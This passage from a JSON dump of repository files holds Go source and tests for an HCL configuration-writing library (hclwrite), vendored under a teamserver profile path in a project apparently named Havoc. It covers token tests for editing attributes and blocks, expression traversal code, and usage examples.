[]byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"b = 23\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 0,\n                },\n            },\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte(\"23\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s = %s in %s\", test.name, test.tokens.Bytes(), test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            f.Body().SetAttributeRaw(test.name, test.tokens)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBodySetAttributeValueInBlock(t *testing.T) {\n    src := `service \"label1\" {\n  attr1 = \"val1\"\n}\n`\n    tests := []struct {\n        src      string\n        typeName string\n        labels   []string\n        attr     string\n        val      cty.Value\n        want     string\n    }{\n        {\n            src,\n            \"service\",\n            []string{\"label1\"},\n            \"attr1\",\n            cty.StringVal(\"updated1\"),\n            `service \"label1\" {\n  attr1 = \"updated1\"\n}\n`,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s = %#v in %s %s\", test.attr, test.val, test.typeName, strings.Join(test.labels, \" \")), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            b := f.Body().FirstMatchingBlock(test.typeName, test.labels)\n            b.Body().SetAttributeValue(test.attr, test.val)\n            tokens := f.BuildTokens(nil)\n            format(tokens)\n            got := string(tokens.Bytes())\n            if got != test.want {\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\n\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestBodySetAttributeValueInNestedBlock(t *testing.T) {\n    src := `parent {\n  attr1 = \"val1\"\n  child {\n    attr2 = \"val2\"\n  }\n}\n`\n    tests := []struct {\n        src            string\n        parentTypeName string\n        childTypeName  string\n        attr           string\n        val            cty.Value\n        want           string\n    }{\n        {\n            src,\n            \"parent\",\n            \"child\",\n            \"attr2\",\n            cty.StringVal(\"updated2\"),\n            `parent {\n  attr1 = \"val1\"\n  child {\n    attr2 = \"updated2\"\n  }\n}\n`,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s = %#v in %s in %s\", test.attr, test.val, test.childTypeName, test.parentTypeName), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            parent := f.Body().FirstMatchingBlock(test.parentTypeName, []string{})\n            child := parent.Body().FirstMatchingBlock(test.childTypeName, []string{})\n            child.Body().SetAttributeValue(test.attr, test.val)\n            tokens := f.BuildTokens(nil)\n            format(tokens)\n            got := string(tokens.Bytes())\n            if got != test.want {\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\n\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestBodyRemoveAttribute(t *testing.T) {\n    tests := []struct {\n        src  string\n        name string\n        want Tokens\n    }{\n        {\n            \"\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"b = false\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"false\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = false\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\nb = false\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"false\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s in %s\", test.name, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            f.Body().RemoveAttribute(test.name)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBodyAppendBlock(t *testing.T) {\n    tests := []struct {\n        src       string\n        blockType string\n        labels    []string\n        want      Tokens\n    }{\n        {\n            \"\",\n            \"foo\",\n            nil,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"\",\n            \"foo\",\n            []string{\"bar\"},\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"\",\n            \"foo\",\n            []string{\"bar\", \"baz\"},\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`baz`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"bar {}\\n\",\n            \"foo\",\n            nil,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s %#v in %s\", test.blockType, test.blockType, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            f.Body().AppendNewBlock(test.blockType, test.labels)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBodyRemoveBlock(t *testing.T) {\n    src := strings.TrimSpace(`\na = 1\n\n# Foo\nfoo {\n  b = 1\n}\nfoo {\n  b = 2\n}\nbar {}\n`)\n    f, diags := ParseConfig([]byte(src), \"\", hcl.Pos{Line: 1, Column: 1})\n    if len(diags) != 0 {\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n        t.Fatalf(\"unexpected diagnostics\")\n    }\n\n    t.Logf(\"Removing the first block\")\n    t.Logf(\"initial content:\\n%s\", f.Bytes())\n    body := f.Body()\n    block := body.FirstMatchingBlock(\"foo\", nil)\n    if block == nil {\n        t.Fatalf(\"didn't find a 'foo' block\")\n    }\n    removed := body.RemoveBlock(block)\n    if !removed {\n        t.Fatalf(\"didn't remove first block\")\n    }\n    t.Logf(\"updated content:\\n%s\", f.Bytes())\n    got := f.BuildTokens(nil)\n    want := Tokens{\n        0: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`a`),\n            SpacesBefore: 0,\n        },\n        1: {\n            Type:         hclsyntax.TokenEqual,\n            Bytes:        []byte(`=`),\n            SpacesBefore: 1,\n        },\n        2: {\n            Type:         hclsyntax.TokenNumberLit,\n            Bytes:        []byte(`1`),\n            SpacesBefore: 1,\n        },\n        3: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        4: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        5: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`foo`),\n            SpacesBefore: 0,\n        },\n        6: {\n            Type:         hclsyntax.TokenOBrace,\n            Bytes:        []byte(`{`),\n            SpacesBefore: 1,\n        },\n        7: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        8: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`b`),\n            SpacesBefore: 2,\n        },\n        9: {\n            Type:         hclsyntax.TokenEqual,\n            Bytes:        []byte(`=`),\n            SpacesBefore: 1,\n        },\n        10: {\n            Type:         hclsyntax.TokenNumberLit,\n            Bytes:        []byte(`2`),\n            SpacesBefore: 1,\n        },\n        11: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        12: {\n            Type:         hclsyntax.TokenCBrace,\n            Bytes:        []byte(`}`),\n            SpacesBefore: 0,\n        },\n        13: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        14: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`bar`),\n            SpacesBefore: 0,\n        },\n        15: {\n            Type:         hclsyntax.TokenOBrace,\n            Bytes:        []byte(`{`),\n            SpacesBefore: 1,\n        },\n        16: {\n            Type:         hclsyntax.TokenCBrace,\n            Bytes:        []byte(`}`),\n            SpacesBefore: 0,\n        },\n        17: {\n            Type:         hclsyntax.TokenEOF,\n            Bytes:        []byte(\"\"),\n            SpacesBefore: 0,\n        },\n    }\n    format(got)\n    if !reflect.DeepEqual(got, want) {\n        diff := cmp.Diff(want, got)\n        t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(want), diff)\n    }\n\n    t.Logf(\"removing the second block\")\n    t.Logf(\"initial content:\\n%s\", f.Bytes())\n    block = body.FirstMatchingBlock(\"foo\", nil)\n    if block == nil {\n        t.Fatalf(\"didn't find a 'foo' block\")\n    }\n    removed = body.RemoveBlock(block)\n    if !removed {\n        t.Fatalf(\"didn't remove second block\")\n    }\n    t.Logf(\"updated content:\\n%s\", f.Bytes())\n    got = f.BuildTokens(nil)\n    want = Tokens{\n        0: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`a`),\n            SpacesBefore: 0,\n        },\n        1: {\n            Type:         hclsyntax.TokenEqual,\n            Bytes:        []byte(`=`),\n            SpacesBefore: 1,\n        },\n        2: {\n            Type:         hclsyntax.TokenNumberLit,\n            Bytes:        []byte(`1`),\n            SpacesBefore: 1,\n        },\n        3: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        4: {\n            Type:         hclsyntax.TokenNewline,\n            Bytes:        []byte(\"\\n\"),\n            SpacesBefore: 0,\n        },\n        5: {\n            Type:         hclsyntax.TokenIdent,\n            Bytes:        []byte(`bar`),\n            SpacesBefore: 0,\n        },\n        6: {\n            Type:         hclsyntax.TokenOBrace,\n            Bytes:        []byte(`{`),\n            SpacesBefore: 1,\n        },\n        7: {\n            Type:         hclsyntax.TokenCBrace,\n            Bytes:        []byte(`}`),\n            SpacesBefore: 0,\n        },\n        8: {\n            Type:         hclsyntax.TokenEOF,\n            Bytes:        []byte(\"\"),\n            SpacesBefore: 0,\n        },\n    }\n    format(got)\n    if !reflect.DeepEqual(got, want) {\n        diff := cmp.Diff(want, got)\n        t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(want), diff)\n    }\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_expression.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype Expression struct {\n    inTree\n\n    absTraversals nodeSet\n}\n\nfunc newExpression() *Expression {\n    return &Expression{\n        inTree:        newInTree(),\n        absTraversals: newNodeSet(),\n    }\n}\n\n// NewExpressionRaw constructs an expression containing the given raw tokens.\n//\n// There is no automatic validation that the given tokens produce a valid\n// expression. Callers of thus function must take care to produce invalid\n// expression tokens. Where possible, use the higher-level functions\n// NewExpressionLiteral or NewExpressionAbsTraversal instead.\n//\n// Because NewExpressionRaw does not interpret the given tokens in any way,\n// an expression created by NewExpressionRaw will produce an empty result\n// for calls to its method Variables, even if the given token sequence\n// contains a subslice that would normally be interpreted as a traversal under\n// parsing.\nfunc NewExpressionRaw(tokens Tokens) *Expression {\n    expr := newExpression()\n    // We copy the tokens here in order to make sure that later mutations\n    // by the caller don't inadvertently cause our expression to become\n    // invalid.\n    copyTokens := make(Tokens, len(tokens))\n    copy(copyTokens, tokens)\n    expr.children.AppendUnstructuredTokens(copyTokens)\n    return expr\n}\n\n// NewExpressionLiteral constructs an an expression that represents the given\n// literal value.\n//\n// Since an unknown value cannot be represented in source code, this function\n// will panic if the given value is unknown or contains a nested unknown value.\n// Use val.IsWhollyKnown before calling to be sure.\n//\n// HCL native syntax does not directly represent lists, maps, and sets, and\n// instead relies on the automatic conversions to those collection types from\n// either list or tuple constructor syntax. Therefore converting collection\n// values to source code and re-reading them will lose type information, and\n// the reader must provide a suitable type at decode time to recover the\n// original value.\nfunc NewExpressionLiteral(val cty.Value) *Expression {\n    toks := TokensForValue(val)\n    expr := newExpression()\n    expr.children.AppendUnstructuredTokens(toks)\n    return expr\n}\n\n// NewExpressionAbsTraversal constructs an expression that represents the\n// given traversal, which must be absolute or this function will panic.\nfunc NewExpressionAbsTraversal(traversal hcl.Traversal) *Expression {\n    if traversal.IsRelative() {\n        panic(\"can't construct expression from relative traversal\")\n    }\n\n    physT := newTraversal()\n    rootName := traversal.RootName()\n    steps := traversal[1:]\n\n    {\n        tn := newTraverseName()\n        tn.name = tn.children.Append(newIdentifier(&Token{\n            Type:  hclsyntax.TokenIdent,\n            Bytes: []byte(rootName),\n        }))\n        physT.steps.Add(physT.children.Append(tn))\n    }\n\n    for _, step := range steps {\n        switch ts := step.(type) {\n        case hcl.TraverseAttr:\n            tn := newTraverseName()\n            tn.children.AppendUnstructuredTokens(Tokens{\n                {\n                    Type:  hclsyntax.TokenDot,\n                    Bytes: []byte{'.'},\n                },\n            })\n            tn.name = tn.children.Append(newIdentifier(&Token{\n                Type:  hclsyntax.TokenIdent,\n                Bytes: []byte(ts.Name),\n            }))\n            physT.steps.Add(physT.children.Append(tn))\n        case hcl.TraverseIndex:\n            ti := newTraverseIndex()\n            ti.children.AppendUnstructuredTokens(Tokens{\n                {\n                    Type:  hclsyntax.TokenOBrack,\n                    Bytes: []byte{'['},\n                },\n            })\n            indexExpr := NewExpressionLiteral(ts.Key)\n            ti.key = ti.children.Append(indexExpr)\n            ti.children.AppendUnstructuredTokens(Tokens{\n                {\n                    Type:  hclsyntax.TokenCBrack,\n                    Bytes: []byte{']'},\n                },\n            })\n            physT.steps.Add(physT.children.Append(ti))\n        }\n    }\n\n    expr := newExpression()\n    expr.absTraversals.Add(expr.children.Append(physT))\n    return expr\n}\n\n// Variables returns the absolute traversals that exist within the receiving\n// expression.\nfunc (e *Expression) Variables() []*Traversal {\n    nodes := e.absTraversals.List()\n    ret := make([]*Traversal, len(nodes))\n    for i, node := range nodes {\n        ret[i] = node.content.(*Traversal)\n    }\n    return ret\n}\n\n// RenameVariablePrefix examines each of the absolute traversals in the\n// receiving expression to see if they have the given sequence of names as\n// a prefix prefix. If so, they are updated in place to have the given\n// replacement names instead of that prefix.\n//\n// This can be used to implement symbol renaming. The calling application can\n// visit all relevant expressions in its input and apply the same renaming\n// to implement a global symbol rename.\n//\n// The search and replacement traversals must be the same length, or this\n// method will panic. Only attribute access operations can be matched and\n// replaced. Index steps never match the prefix.\nfunc (e *Expression) RenameVariablePrefix(search, replacement []string) {\n    if len(search) != len(replacement) {\n        panic(fmt.Sprintf(\"search and replacement length mismatch (%d and %d)\", len(search), len(replacement)))\n    }\nTraversals:\n    for node := range e.absTraversals {\n        traversal := node.content.(*Traversal)\n        if len(traversal.steps) < len(search) {\n            // If it's shorter then it can't have our prefix\n            continue\n        }\n\n        stepNodes := traversal.steps.List()\n        for i, name := range search {\n            step, isName := stepNodes[i].content.(*TraverseName)\n            if !isName {\n                continue Traversals // only name nodes can match\n            }\n            foundNameBytes := step.name.content.(*identifier).token.Bytes\n            if len(foundNameBytes) != len(name) {\n                continue Traversals\n            }\n            if string(foundNameBytes) != name {\n                continue Traversals\n            }\n        }\n\n        // If we get here then the prefix matched, so now we'll swap in\n        // the replacement strings.\n        for i, name := range replacement {\n            step := stepNodes[i].content.(*TraverseName)\n            token := step.name.content.(*identifier).token\n            token.Bytes = []byte(name)\n        }\n    }\n}\n\n// Traversal represents a sequence of variable, attribute, and/or index\n// operations.\ntype Traversal struct {\n    inTree\n\n    steps nodeSet\n}\n\nfunc newTraversal() *Traversal {\n    return &Traversal{\n        inTree: newInTree(),\n        steps:  newNodeSet(),\n    }\n}\n\ntype TraverseName struct {\n    inTree\n\n    name *node\n}\n\nfunc newTraverseName() *TraverseName {\n    return &TraverseName{\n        inTree: newInTree(),\n    }\n}\n\ntype TraverseIndex struct {\n    inTree\n\n    key *node\n}\n\nfunc newTraverseIndex() *TraverseIndex {\n    return &TraverseIndex{\n        inTree: newInTree(),\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_test.go",
    "content": "package hclwrite\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype TestTreeNode struct {\n\tType string\n\tVal  string\n\n\tChildren []TestTreeNode\n}\n\nfunc makeTestTree(n *node) (root TestTreeNode) {\n\tconst us = \"hclwrite.\"\n\tconst usPtr = \"*hclwrite.\"\n\troot.Type = fmt.Sprintf(\"%T\", n.content)\n\tif strings.HasPrefix(root.Type, us) {\n\t\troot.Type = root.Type[len(us):]\n\t} else if strings.HasPrefix(root.Type, usPtr) {\n\t\troot.Type = root.Type[len(usPtr):]\n\t}\n\n\ttype WithVal interface {\n\t\ttestValue() string\n\t}\n\thasTestVal := false\n\tif withVal, ok := n.content.(WithVal); ok {\n\t\troot.Val = withVal.testValue()\n\t\thasTestVal = true\n\t}\n\n\tn.content.walkChildNodes(func(n *node) {\n\t\troot.Children = append(root.Children, makeTestTree(n))\n\t})\n\n\t// If we didn't end up with any children then this is probably a leaf\n\t// node, so we'll set its content value to it raw bytes if we didn't\n\t// already set a test value.\n\tif !hasTestVal && len(root.Children) == 0 {\n\t\ttoks := n.content.BuildTokens(nil)\n\t\troot.Val = toks.testValue()\n\t}\n\n\treturn root\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/doc.go",
    "content": "// Package hclwrite deals with the problem of generating HCL configuration\n// and of making specific surgical changes to existing HCL configurations.\n//\n// It operates at a different level of abstraction than the main HCL parser\n// and AST, since details such as the placement of comments and newlines\n// are preserved when unchanged.\n//\n// The hclwrite API follows a similar principle to XML/HTML DOM, allowing nodes\n// to be read out, created and inserted, etc. Nodes represent syntax constructs\n// rather than semantic concepts.\npackage hclwrite\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/examples_test.go",
    "content": "package hclwrite_test\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclwrite\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc Example_generateFromScratch() {\n    f := hclwrite.NewEmptyFile()\n    rootBody := f.Body()\n    rootBody.SetAttributeValue(\"string\", cty.StringVal(\"bar\")) // this is overwritten later\n    rootBody.AppendNewline()\n    rootBody.SetAttributeValue(\"object\", cty.ObjectVal(map[string]cty.Value{\n        \"foo\": cty.StringVal(\"foo\"),\n        \"bar\": cty.NumberIntVal(5),\n        \"baz\": cty.True,\n    }))\n    rootBody.SetAttributeValue(\"string\", cty.StringVal(\"foo\"))\n    rootBody.SetAttributeValue(\"bool\", cty.False)\n    rootBody.SetAttributeTraversal(\"path\", hcl.Traversal{\n        hcl.TraverseRoot{\n            Name: \"env\",\n        },\n        hcl.TraverseAttr{\n            Name: \"PATH\",\n        },\n    })\n    rootBody.AppendNewline()\n    fooBlock := rootBody.AppendNewBlock(\"foo\", nil)\n    fooBody := fooBlock.Body()\n    rootBody.AppendNewBlock(\"empty\", nil)\n    rootBody.AppendNewline()\n    barBlock := rootBody.AppendNewBlock(\"bar\", []string{\"a\", \"b\"})\n    barBody := barBlock.Body()\n\n    fooBody.SetAttributeValue(\"hello\", cty.StringVal(\"world\"))\n\n    bazBlock := barBody.AppendNewBlock(\"baz\", nil)\n    bazBody := bazBlock.Body()\n    bazBody.SetAttributeValue(\"foo\", cty.NumberIntVal(10))\n    bazBody.SetAttributeValue(\"beep\", cty.StringVal(\"boop\"))\n    bazBody.SetAttributeValue(\"baz\", cty.ListValEmpty(cty.String))\n\n    fmt.Printf(\"%s\", f.Bytes())\n    // Output:\n    // string = \"foo\"\n    //\n    // object = {\n    //   bar = 5\n    //   baz = true\n    //   foo = \"foo\"\n    // }\n    // bool = false\n    // path = env.PATH\n    //\n    // foo {\n    //   hello = \"world\"\n    // }\n    // empty {\n    // }\n    //\n    // bar \"a\" \"b\" {\n    //   baz {\n    //     foo  = 10\n    //     beep = \"boop\"\n    //     baz  = []\n    //   }\n    // }\n}\n\nfunc ExampleExpression_RenameVariablePrefix() {\n    src := []byte(\n        \"foo = a.x + a.y * b.c\\n\" +\n            \"bar = max(a.z, b.c)\\n\",\n    )\n    f, diags := hclwrite.ParseConfig(src, \"\", hcl.Pos{Line: 1, Column: 1})\n    if diags.HasErrors() {\n        fmt.Printf(\"errors: %s\", diags)\n        return\n    }\n\n    // Rename references of variable \"a\" to \"z\"\n    for _, attr := range f.Body().Attributes() {\n        attr.Expr().RenameVariablePrefix(\n            []string{\"a\"},\n            []string{\"z\"},\n        )\n    }\n\n    fmt.Printf(\"%s\", f.Bytes())\n    // Output:\n    // foo = z.x + z.y * b.c\n    // bar = max(z.z, b.c)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/format.go",
